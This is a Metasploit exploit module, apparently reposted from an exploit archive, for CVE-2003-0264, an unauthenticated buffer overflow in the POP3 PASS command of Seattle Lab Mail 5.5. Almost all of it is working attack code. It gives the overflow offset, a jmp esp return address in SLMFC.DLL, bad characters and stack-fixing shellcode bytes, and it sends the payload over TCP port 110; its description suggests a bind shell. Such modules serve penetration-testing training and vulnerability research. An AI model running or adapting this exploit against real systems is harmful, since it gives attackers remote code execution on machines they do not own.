Seattle Lab Mail (SLmail) 5.5 – POP3 ‘PASS’ Remote Buffer Overflow (Metasploit)
## # $Id: seattlelab_pass.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow', 'Description' => %q{ There exists an unauthenticated buffer overflow vulnerability in the POP3 server of Seattle Lab Mail 5.5 when sending a password with excessive length. Successful exploitation should not crash either the service or the server; however, after initial use the port cannot be reused for successive exploitation until the service has been restarted. Consider using a command execution payload following the bind shell to restart the service if you need to reuse the same port. The overflow appears to occur in the debugging/error reporting section of the slmail.exe executable, and there are multiple offsets that will lead to successful exploitation. This exploit uses 2606, the offset that creates the smallest overall payload. The other offset is 4654. The return address is overwritten with a "jmp esp" call from the application library SLMFC.DLL found in %SYSTEM%\\system32\\. This return address works against all version of Windows and service packs. The last modification date on the library is dated 06/02/99. Assuming that the code where the overflow occurs has not changed in some time, prior version of SLMail may also be vulnerable with this exploit. The author has not been able to acquire older versions of SLMail for testing purposes. Please let us know if you were able to get this exploit working against other SLMail versions. }, 'Author' => 'stinko', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ ['CVE', '2003-0264'], ['OSVDB', '11975'], ['BID', '7519'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a\x0d\x20", 'MinNops' => 100, }, 'Platform' => 'win', 'Targets' => [ ['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ] ], 'DisclosureDate' => 'May 07 2003', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(110) ], self.class) end def exploit connect print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}") banner = sock.get_once if banner !~ /^\+OK POP3 server (.*) ready/ print_error("POP3 server does not appear to be running") return end sock.put("USER #{rand_text_alphanumeric(10)}\r\n") res = sock.get_once if banner !~ /^\+OK (.*) welcome here$/ print_error("POP3 server rejected username") return end request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length) request << payload.encoded request << [target.ret].pack('V') request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes request << rand_text_alphanumeric(512) # cruft request << "\r\n" sock.put(request) handler disconnect end end |